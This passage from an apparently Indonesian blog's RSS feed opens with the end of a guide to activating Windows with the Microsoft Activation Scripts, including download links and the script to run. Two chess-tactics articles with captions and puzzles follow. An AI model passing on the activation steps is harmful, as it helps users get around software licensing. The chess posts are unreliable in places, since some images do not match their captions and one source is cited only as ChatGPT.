&lt;/ol&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/massgravel/Microsoft-Activation-Scripts/archive/refs/heads/master.zip&quot; target=&quot;_blank&quot;&gt;https://github.com/massgravel/Microsoft-Activation-Scripts/archive/refs/heads/master.zip&lt;/a&gt;&lt;/p&gt;&lt;p&gt;atau di sini, sama saja:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://git.activated.win/massgrave/Microsoft-Activation-Scripts/archive/master.zip&quot; target=&quot;_blank&quot;&gt;https://git.activated.win/massgrave/Microsoft-Activation-Scripts/archive/master.zip&lt;/a&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Klik kanan pada file &lt;strong&gt;&lt;code&gt;.zip&lt;/code&gt;&lt;/strong&gt; yang sudah diunduh. Pilih ekstrak.&lt;/li&gt;
&lt;li&gt;Di folder yang sudah ter-ekstrak, masuk ke folder &lt;strong&gt;All-In-One-Version&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Jalankan file &lt;em&gt;script&lt;/em&gt; &lt;strong&gt;MAS_AIO.cmd&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Akan muncul beberapa pilihan aktivasi. Silakan dipilih dan ikuti instruksi.&lt;/li&gt;
&lt;li&gt;Selesai.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Selanjutnya, kita dapat memverifikasi lisensi Windows-nya dengan melihatnya di &lt;strong&gt;Activation Settings&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Caranya beragam:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Tekan tombol “Windows” di keyboard. Ketikkan “Activation Settings”. Enter.&lt;/li&gt;
&lt;li&gt;Tekan tombol “Windows” + “I” di keyboard secara bersamaan. Ketikkan “Activation Settings”. Klik “Activation Settings”.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Jika sudah teraktivasi, akan muncul keterangan &lt;strong&gt;Windows is activated with a digital license&lt;/strong&gt;, seperti terlihat pada tangkapan layar di bawah ini:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Windows is activated with a digital license&quot; loading=&quot;lazy&quot; width=&quot;871&quot; height=&quot;705&quot; src=&quot;/_astro/ss4.B9ns8szE_1hKL8y.webp&quot; /&gt;&lt;figcaption&gt;Windows is activated with a digital license&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Demikian. Semoga bermanfaat.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Credits&lt;a href=&quot;#credits&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;Untuk informasi lebih lanjut, sila kunjungi website / Github repo MAS.&lt;br /&gt;
&lt;strong&gt;Website: &lt;a href=&quot;https://massgrave.dev/&quot; target=&quot;_blank&quot;&gt;https://massgrave.dev/&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;strong&gt;Github: &lt;a href=&quot;https://github.com/massgravel/Microsoft-Activation-Scripts&quot; target=&quot;_blank&quot;&gt;https://github.com/massgravel/Microsoft-Activation-Scripts&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://massgrave.dev/faq&quot; target=&quot;_blank&quot;&gt;https://massgrave.dev/faq&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/massgravel/Microsoft-Activation-Scripts&quot; target=&quot;_blank&quot;&gt;https://github.com/massgravel/Microsoft-Activation-Scripts&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Chess Tactics: Trapped Piece, Simplification, Zugzwang</title><link>https://shangdi.github.io/posts/chess/pop-tactics5/</link><guid isPermaLink="true">https://shangdi.github.io/posts/chess/pop-tactics5/</guid><description>This article shares about 3 popular tactics in chess, which are Trapped Piece, Simplification, Zugzwang.</description><pubDate>Sun, 06 Apr 2025 09:33:38 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;Seorang master catur Jerman kelahiran tahun 1868, &lt;a href=&quot;https://chesspuzzle.net/Player/Richard_Teichmann&quot; target=&quot;_blank&quot;&gt;Richard Teichmann&lt;/a&gt; pernah berkata, “&lt;em&gt;&lt;strong&gt;chess is 99% tactics&lt;/strong&gt;&lt;/em&gt;”.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;What is Chess Tactics?&lt;a href=&quot;#what-is-chess-tactics&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Apa itu taktik catur?&lt;/p&gt;&lt;p&gt;Pada dasarnya, taktik catur adalah gerakan / langkah (atau serangkaian langkah) yang memberikan keuntungan bagipemainnya. Keuntungan yang dimaksud dapat berupa keuntungan material, yaitu dengan memenangkan buah catur, ataubahkan skakmat.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Ada banyak taktik yang dapat dipelajari dan digunakan dalam bermain catur, tapi biarkan saya mengulas salah tiga diantaranya, yaitu &lt;strong&gt;Trapped Piece&lt;/strong&gt;, &lt;strong&gt;Simplification&lt;/strong&gt;,dan &lt;strong&gt;Zugzwang&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Trapped Piece&lt;a href=&quot;#trapped-piece&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Seperti namanya, taktik &lt;strong&gt;Trapped Piece&lt;/strong&gt; adalah taktik yang ditujukan untuk menjebak perwira lawan sehingga kita mendapatkan keunggulan material atau keunggulan kualitas.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;trapped piece&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss1.ljLR-qeU_ZSudER.webp&quot; alt=&quot;Kuda hitam terjebak, kemanapun dia kabur, dia tetap akan hilang.&quot; loading=&quot;lazy&quot; width=&quot;632&quot; height=&quot;631&quot; /&gt;&lt;figcaption&gt;Kuda hitam terjebak, kemanapun dia kabur, dia tetap akan hilang.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss2.CUmeQXCG_2pTTCR.webp&quot; alt=&quot;Menteri putih terjebak, satu-satunya cara agar tidak kehilangan Menteri sia-sia adalah dengan makan Kuda hitam di c3.&quot; loading=&quot;lazy&quot; width=&quot;633&quot; height=&quot;631&quot; /&gt;&lt;figcaption&gt;Menteri putih terjebak, satu-satunya cara agar tidak kehilangan Menteri sia-sia adalah dengan makan Kuda hitam di c3.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss3.Afv6edtX_12VjHY.webp&quot; alt=&quot;Menteri putih terjebak, dia tidak punya tempat kabur.&quot; loading=&quot;lazy&quot; width=&quot;633&quot; height=&quot;633&quot; /&gt;&lt;figcaption&gt;Menteri putih terjebak, dia tidak punya tempat kabur.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Trapped Piece Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan unggul kualitas.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan unggul kualitas.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan skakmat.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Simplification&lt;a href=&quot;#simplification&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Seperti namanya, &lt;strong&gt;Simplification&lt;/strong&gt; adalah taktik penyederhaan permainan dengan menawarkan pertukaran buah catur kepada lawan. Tujuan taktik &lt;strong&gt;Simplification&lt;/strong&gt; juga sudah sangat jelas, yaitu untuk mengurangi kompleksitas permainan di atas papan. Biasanya, taktik ini dilakukan apabila kita sudah memiliki keunggulan tertentu, baik keunggulan material maupun keunggulan kualitas. Oleh sebab itu pula, jika kita berada pada posisi yang berlawanan (tidak unggul/rugi), sebaiknya kita menolak ajakan pertukaran buah catur (&lt;strong&gt;Simplification&lt;/strong&gt;) ini.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;simplification&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss4.DV7qtKq1_1A5A93.webp&quot; alt=&quot;Putih unggul satu pion, jadi melakukan simplifikasi dengan menukar Benteng dengan Kuda adalah pilihan terbaik.&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;944&quot; /&gt;&lt;figcaption&gt;Putih unggul satu pion, jadi melakukan simplifikasi dengan menukar Benteng dengan Kuda adalah pilihan terbaik.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss5.kkxaJ096_1eVHHo.webp&quot; alt=&quot;Hitam unggul secara posisi karena Rajanya siap menghabisi pion-pion putih. Jadi, memaksakan pertukaran Menteri adalah pilihan terbaik.&quot; loading=&quot;lazy&quot; width=&quot;864&quot; height=&quot;863&quot; /&gt;&lt;figcaption&gt;Hitam unggul secara posisi karena Rajanya siap menghabisi pion-pion putih. Jadi, memaksakan pertukaran Menteri adalah pilihan terbaik.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss6.qtqP2zfr_28xghx.webp&quot; alt=&quot;Hitam unggul satu pion, jadi memakan Benteng adalah pilihan terbaik di posisi ini untuk menyederhanakan permainan.&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;943&quot; /&gt;&lt;figcaption&gt;Hitam unggul satu pion, jadi memakan Benteng adalah pilihan terbaik di posisi ini untuk menyederhanakan permainan.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Simplification Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan unggul perwira.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan unggul jumlah pion.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan unggul jumlah perwira.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Zugzwang&lt;a href=&quot;#zugzwang&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Zugzwang&lt;/strong&gt; adalah &lt;em&gt;term&lt;/em&gt; bahasa Jerman yang berarti “&lt;em&gt;a compulstion to move&lt;/em&gt;” atua paksaan untuk bergerak. Tujuan dari taktik &lt;strong&gt;Zugzwang&lt;/strong&gt; ini adalah untuk memaksa lawan menggerakkan buah caturnya sehingga ketika kita mendapatkan giliran melangkah, kita akan mendapatkan keunggulan. Dengan kata lain, melalui taktik ini, apapun langkah yang dimainkan oleh lawan, dia akan tetap kalah.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;zugzwang&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss4.DV7qtKq1_1A5A93.webp&quot; alt=&quot;Raja hitam hanya bisa bergerak ke c8 atau e8. Jika Raja hitam ke e8, Raja putih ke c7 menjaga petak d8 untuk pion promosi. Begitupula sebaliknya.&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;944&quot; /&gt;&lt;figcaption&gt;Raja hitam hanya bisa bergerak ke c8 atau e8. Jika Raja hitam ke e8, Raja putih ke c7 menjaga petak d8 untuk pion promosi. Begitupula sebaliknya.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss5.kkxaJ096_1eVHHo.webp&quot; alt=&quot;Putih mengalami zugzwang. Apapun langkah yang dimainkan putih, putih akan kalah. Misalnya, Raja ke f2, Benteng hitam ke h2, skewer, mendapatkan Benteng putih.&quot; loading=&quot;lazy&quot; width=&quot;864&quot; height=&quot;863&quot; /&gt;&lt;figcaption&gt;Putih mengalami zugzwang. Apapun langkah yang dimainkan putih, putih akan kalah. Misalnya, Raja ke f2, Benteng hitam ke h2, skewer, mendapatkan Benteng putih.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss6.qtqP2zfr_28xghx.webp&quot; alt=&quot;Putih terkena zugzwang karena Benteng hitam tetap melakukan pin pada Gajah di baris ke-1, Raja dipaksa pindah ke a1, kemudian Benteng makan Gajah, skakmat.&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;943&quot; /&gt;&lt;figcaption&gt;Putih terkena zugzwang karena Benteng hitam tetap melakukan pin pada Gajah di baris ke-1, Raja dipaksa pindah ke a1, kemudian Benteng makan Gajah, skakmat.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Zugzwang Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan menang.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan menang.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan menang.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chess.com/article/view/chess-tactics#trappedpiece&quot; target=&quot;_blank&quot;&gt;https://www.chess.com/article/view/chess-tactics#trappedpiece&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Chess Tactics: Interference, X-Ray Attack, Desperado</title><link>https://shangdi.github.io/posts/chess/pop-tactics4/</link><guid isPermaLink="true">https://shangdi.github.io/posts/chess/pop-tactics4/</guid><description>This article shares about 3 popular tactics in chess, which are Overloading, Clearance, and Decoy or Deflection.</description><pubDate>Sat, 05 Apr 2025 03:15:28 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;Seorang master catur Jerman kelahiran tahun 1868, &lt;a href=&quot;https://chesspuzzle.net/Player/Richard_Teichmann&quot; target=&quot;_blank&quot;&gt;Richard Teichmann&lt;/a&gt; pernah berkata, “&lt;em&gt;&lt;strong&gt;chess is 99% tactics&lt;/strong&gt;&lt;/em&gt;”.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;What is Chess Tactics?&lt;a href=&quot;#what-is-chess-tactics&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Apa itu taktik catur?
Pada dasarnya, taktik catur adalah gerakan / langkah (atau serangkaian langkah) yang memberikan keuntungan bagipemainnya. Keuntungan yang dimaksud dapat berupa keuntungan material, yaitu dengan memenangkan buah catur, ataubahkan skakmat.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Ada banyak taktik yang dapat dipelajari dan digunakan dalam bermain catur, tapi biarkan saya mengulas salah tiga diantaranya, yaitu &lt;strong&gt;Interference&lt;/strong&gt;, &lt;strong&gt;X-Ray Attack&lt;/strong&gt;,dan &lt;strong&gt;Desperado&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Interference&lt;a href=&quot;#interference&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Taktik &lt;strong&gt;Interference&lt;/strong&gt; terjadi ketika kita menempatkan buah catur kita diantara dua buah catur lainnya yang sedang saling terhubung. Tujuan dari taktik ini adalah mengganggu atau memutus jalur koordinasi diantara dua buah catur tersebut.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Terkadang, taktik ini juga dapat mengakibatkan lawan mengalami &lt;em&gt;overloading&lt;/em&gt;. Dengan demikian, kita mendapatkan keuntungan berupa keunggulan kualitas perwira maupun skakmat.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Saya sempat membahas mengenai taktik &lt;strong&gt;overloading&lt;/strong&gt; di artikel berikut:&lt;/p&gt;&lt;/blockquote&gt;&lt;a href=&quot;/posts/chess/pop-tactics3/&quot;&gt;&lt;div&gt;&lt;div&gt;Chess Tactics: Overloading, Clearance, Decoy or Deflection&lt;/div&gt;&lt;div&gt;This article shares about 3 popular tactics in chess, which are Overloading, Clearance, and Decoy or Deflection.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-03-30&lt;/span&gt;&lt;span&gt;chess&lt;/span&gt;&lt;span&gt;&lt;span&gt;#chess&lt;/span&gt;&lt;span&gt;#intro&lt;/span&gt;&lt;span&gt;#tactics&lt;/span&gt;&lt;span&gt;#overloading&lt;/span&gt;&lt;span&gt;#clearance&lt;/span&gt;&lt;span&gt;#decoy&lt;/span&gt;&lt;span&gt;#deflection&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;/_astro/featured.DgF0CUyG_Z2blYB7.webp&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;324&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;interference&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss1.BOZyoGZI_1OAnEV.webp&quot; alt=&quot;Gajah hitam melakukan taktik interference sehingga membuat bingung putih, sebab, kedua pion hitam akan segera promosi. Jika Gajah hitam dimakan dengan Benteng, maka pion bisa didorong ke h2, jika dimakan oleh Gajah, pion d bisa promosi.&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;632&quot; /&gt;&lt;figcaption&gt;Gajah hitam melakukan taktik interference sehingga membuat bingung putih, sebab, kedua pion hitam akan segera promosi. Jika Gajah hitam dimakan dengan Benteng, maka pion bisa didorong ke h2, jika dimakan oleh Gajah, pion d bisa promosi.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss2.DA3QeO1f_Z1T62Yd.webp&quot; alt=&quot;Gajah hitam melakukan taktik interference, sebab, kalau Gajah hitam dimakan oleh pion, maka Menteri hitam skakmat di e2, kalau Gajah hitam dimakan Menteri, maka Menteri juga akan dimakan lagi oleh Benteng.&quot; loading=&quot;lazy&quot; width=&quot;634&quot; height=&quot;632&quot; /&gt;&lt;figcaption&gt;Gajah hitam melakukan taktik interference, sebab, kalau Gajah hitam dimakan oleh pion, maka Menteri hitam skakmat di e2, kalau Gajah hitam dimakan Menteri, maka Menteri juga akan dimakan lagi oleh Benteng.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss3.MtqQ48xO_Z1MzF6p.webp&quot; alt=&quot;Benteng hitam melakukan interference, sebab, kalau Benteng hitam dimakan oleh pion, maka Menteri hitam ke h1 skakmat, kalau Benteng hitam dimakan oleh Menteri, maka Menteri hitam bisa makan Menteri putih, jika Menteri dimakan lagi oleh pion, maka Benteng hitam ke h1 skakmat.&quot; loading=&quot;lazy&quot; width=&quot;634&quot; height=&quot;632&quot; /&gt;&lt;figcaption&gt;Benteng hitam melakukan interference, sebab, kalau Benteng hitam dimakan oleh pion, maka Menteri hitam ke h1 skakmat, kalau Benteng hitam dimakan oleh Menteri, maka Menteri hitam bisa makan Menteri putih, jika Menteri dimakan lagi oleh pion, maka Benteng hitam ke h1 skakmat.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Interference Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan unggul satu perwira.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan unggul kualitas.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan skakmat.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;X-Ray Attack&lt;a href=&quot;#x-ray-attack&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Taktik &lt;strong&gt;X-Ray Attack&lt;/strong&gt; terjadi ketika perwira jarak jauh (seperti Benteng, Gajah, atau Menteri) menyerang “melalui” salah satu buah catur lawan untuk kemudian mendapatkan keunggulan tertentu, seperti keunggulan perwira atau bahkan skakmat. Biasanya, &lt;strong&gt;X-Ray Attack&lt;/strong&gt; dapat memberikan skakmat dengan tema &lt;em&gt;back-rank mate&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh &lt;em&gt;x-ray attack&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss4.wh6W3sgs_Z1pvzK1.webp&quot; alt=&quot;Gajah putih makan gajah hitam, kalau Menteri hitam makan Menteri putih, Gajah bisa makan lagi. Unggul perwira.&quot; loading=&quot;lazy&quot; width=&quot;633&quot; height=&quot;633&quot; /&gt;&lt;figcaption&gt;Gajah putih makan gajah hitam, kalau Menteri hitam makan Menteri putih, Gajah bisa makan lagi. Unggul perwira.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss5.Dvh9_URa_1CqDgM.webp&quot; alt=&quot;Benteng putih makan Benteng hitam, kalau Gajah hitam makan Benteng, Gajah putih bisa makan Gajah hitam. Unggul perwira.&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;631&quot; /&gt;&lt;figcaption&gt;Benteng putih makan Benteng hitam, kalau Gajah hitam makan Benteng, Gajah putih bisa makan Gajah hitam. Unggul perwira.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss6.COGqW8cI_ZRIxBB.webp&quot; alt=&quot;Menteri putih dikorbankan ke e8, skak, Benteng hitam terpaksa makan, tapi dimakan lagi oleh Benteng putih, skakmat.&quot; loading=&quot;lazy&quot; width=&quot;631&quot; height=&quot;631&quot; /&gt;&lt;figcaption&gt;Menteri putih dikorbankan ke e8, skak, Benteng hitam terpaksa makan, tapi dimakan lagi oleh Benteng putih, skakmat.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;X-Ray Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan unggul satu perwira.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan skakmat.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan skakmat.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Desperado&lt;a href=&quot;#desperado&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Taktik &lt;strong&gt;Desperado&lt;/strong&gt; terjadi ketika buah catur kita terserang, kita melakukan pertukaran pengorbanan sebagai kompensasi agar tidak mengalami kerugian yang signifikan.&lt;/p&gt;&lt;p&gt;Berikut adalah contoh taktik &lt;em&gt;desperado&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss7.BfJDcPgQ_Z1ADaXU.webp&quot; alt=&quot;Kuda putih baru saja makan pion e5 dan membuat Kuda hitam terserang Menteri. Agar tidak rugi material, Kuda hitam makan pion g3, setelah dimakan pion, maka Kuda e juga dimakan pion hitam.&quot; loading=&quot;lazy&quot; width=&quot;632&quot; height=&quot;631&quot; /&gt;&lt;figcaption&gt;Kuda putih baru saja makan pion e5 dan membuat Kuda hitam terserang Menteri. Agar tidak rugi material, Kuda hitam makan pion g3, setelah dimakan pion, maka Kuda e juga dimakan pion hitam.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss8.C6Qnvdy5_Z1bdTsR.webp&quot; alt=&quot;Terlihat sekilas putih kalah jumlah pion, tapi, Menteri putih bisa ke f2, mem-pinning Menteri sekaligus mengorbankan diri. Namun, jika Menteri putih dimakan, maka permainan akan remis.&quot; loading=&quot;lazy&quot; width=&quot;632&quot; height=&quot;631&quot; /&gt;&lt;figcaption&gt;Terlihat sekilas putih kalah jumlah pion, tapi, Menteri putih bisa ke f2, mem-pinning Menteri sekaligus mengorbankan diri. Namun, jika Menteri putih dimakan, maka permainan akan remis.&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss9.DaoZ2IKM_ZAQCFs.webp&quot; alt=&quot;Terlihat putih sedang tertekan, Gajah putih tidak bisa makan Menteri karena Kuda ke h2 skakmat. Jadi, Menteri putih makan Kuda tempo skak, jika Gajah makan, maka Menteri hitam juga dimakan Gajah putih.&quot; loading=&quot;lazy&quot; width=&quot;632&quot; height=&quot;631&quot; /&gt;&lt;figcaption&gt;Terlihat putih sedang tertekan, Gajah putih tidak bisa makan Menteri karena Kuda ke h2 skakmat. Jadi, Menteri putih makan Kuda tempo skak, jika Gajah makan, maka Menteri hitam juga dimakan Gajah putih.&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Desperado Puzzle&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan melakukan taktik desperado.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan dan melakukan taktik desperado.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan dan melakukan taktik desperado.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Chatgpt, 2025 &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
